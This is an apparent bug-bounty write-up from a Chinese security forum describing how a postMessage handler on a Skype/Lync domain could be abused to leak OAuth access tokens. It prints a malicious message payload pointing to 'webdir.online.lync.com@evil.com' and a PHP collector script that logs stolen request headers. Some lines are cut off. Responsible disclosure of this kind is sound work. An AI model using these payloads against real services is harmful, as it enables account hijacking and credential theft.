# Bug Bounty - 绕过限制劫持Skype账号

exploitcat / 2017-05-03 03:07:00 / 浏览数 3642 安全技术 漏洞分析 顶(0) 踩(0)

---

0x00 前言

在使用outlook的过程中，我意外发现了一个URL：https://webdir.xxx.lync.com/xframe。并在这个页面中发现了一处监听message时间的监听器。

通过阅读代码，发现过程如下：

（1）接受外界的message，抽取出URL，type（类似于command指令），以及一些data、header等。

（2）用这个message中的信息组建一个request对象，并调用了sendRequest方法发送请求。

（3）这些还不够，居然还将http响应体通过postMessage(data, "*")发送了出来。

因此，我们可以发送一个恶意的message，并且拿到这个域下请求的返回体，是不是一种"跨域http请求"呢？

于是兴奋地去报告给MSRC，结果等了将近一周，被告知，这个webdir.online.lync.com域下是一个公用的域，之所以这样设计是因为任何人都可以访问，于是MSRC说这锅

但是直觉告诉我，这个功能并不是针对所有用户的，没人会从一个毫无关系的微软的域里面发送请求并获取html页面，即使有接口是开放给开发者的，也不会用到这么曲折的

0x01 深入探索

很多时候，挖不到洞的原因就是没有深入研究，因此这次准备仔细分析一下业务逻辑，寻找问题。

Google搜索了一下这个域名，原来是一个skype的API所在域，但是从Outlook里面看这些API的行为，必须要header带上Access Token才能过认证，比如这样：

因此，产品线的要求是有其道理的，如果不带上这个header去访问该域下的任何path，实际上都是401或者403错误，因此仅仅提交之前的报告是不可能拿到bounty的。

再去看outlook中交互的Network信息，发现这个Access Token是用OAuth2认证下发的，这跟之前某厂的开放OAuth漏洞的场景有些相似，即access token通过一个三方域postMessage出来，从以往的经验来看这种实现基本都会有些问题。

从网络交互可以看到，这个XFrame.html实际上是用来接收Oauth2.0认证成功后下发的access token，形式是填充到URL的hash上。然后深入阅读XFrame.html中嵌入的JS代码，发现在sendRequest的时候如果发现hash上有这些信息时，会拼接到header发送出去：

那么问题来了————如何窃取一个域ajax请求中携带的某个header信息？由于SOP策略的限制，这几乎是不可能的。

继续看代码，发现了一句话：

```
if (!isTrusted(request.url))

request.url = (location.origin || location.protocol + '//' + location.hostname + (location.port ? ':' + location.port : '')) +
```

如果发现请求的url不是信任域，那么要拼接成信任域的path。request.url是从message中获取的，因此我们是可控的，注意，这里拼接URL的时候，hostname后面并没有

https://webdir.online.lync.com@evil.com/exploitcat/test.php. 这里在ajax请求的时候实际上就跳转到evil.com这个域上去。

但我们都知道，A域下的ajax去请求B域的内容，虽然是一种跨域的ajax请求，但是请求是可以发出去的，在Chrome下是使用OPTIONS方法去请求一次，因此并不能获取res

其实用CORS去跨域即可，因为我想从lync.com发出的链接中获取这个携带access token的header信息，跳转的PHP文件就负责收集这个header。如何让A域请求到不同域的内容，设置CORS为*就行了。

但是这里遇到一个坑，如果A域携带了自定义的header，就会报错：

报错信息为：

```
**XMLHttpRequest cannot load https://evil.com/exploitcat/test.php. Request header field X-Ms-Origin is not allowed by Access-C
```

加上Access-Control-Allow-Headers这个头即可，这个头表示服务器接受客户端自定义的headers。将所有A域定义的自定义header加入到这个header字段里即可。

所以test.php的内容为：

```
<?php

header("Access-Control-Allow-Origin: *") ;

header("Access-Control-Allow-Headers: Authorization, X-Ms-Origin, Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragm

ini_set('display_errors','On');
```

```
file_put_contents('/tmp/res.txt', print_r(getallheaders(),1)) ;

?>
```

该文件用于获取请求的所有header并保存在/tmp/res.txt中。

攻击过程大致如下：

（1）在攻击者控制的页面中创建一个iframe，src设置为https://login.windows.net/common/oauth2/authorize?xxxxxxxxx，
让用户去访问。在用户登录态下，这个OAuth2.0认证过程成功，并将access
token发送到这个URL：https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx.

（2）当iframe加载完成后，变成了https://webdir.online.lync.com#accesstoken=xxxxxxxxxxxx，我们开始发送恶意的message，大致如下：

data = {"data": "", "type": "GET:22", "url": "@evil.com/exploitcat/test.php"} ;

根据前面的分析,由于不正确的URL拼接，sendRequest将携带着包含access
token的header发送到https://webdir.online.lync.com@evil.com/exploitcat/test.php上面，实际跳转到了https://evil.com/exploitcat/test.php 上。

（3）浏览器带着这个敏感的token发送到了test.php上，我们就收到了这个token。

0x02 Timeline

03-01 - 报告给MSRC

03-09 - MSRC反馈原有报告需要继续深入，要求要拿到敏感数据

03-09 - 重新提交了报告

03-11 - MSRC反馈其产品线已复现问题，正在修复

05-03 - 收到bounty $5500


上一篇：Fastjson 远程反序列化程序... 下一篇：Jenkins远程代码执行漏洞配合...

1. 1 条回复


hades 2017-05-03 08:03:56

可遇不可求。。

0 回复Ta

---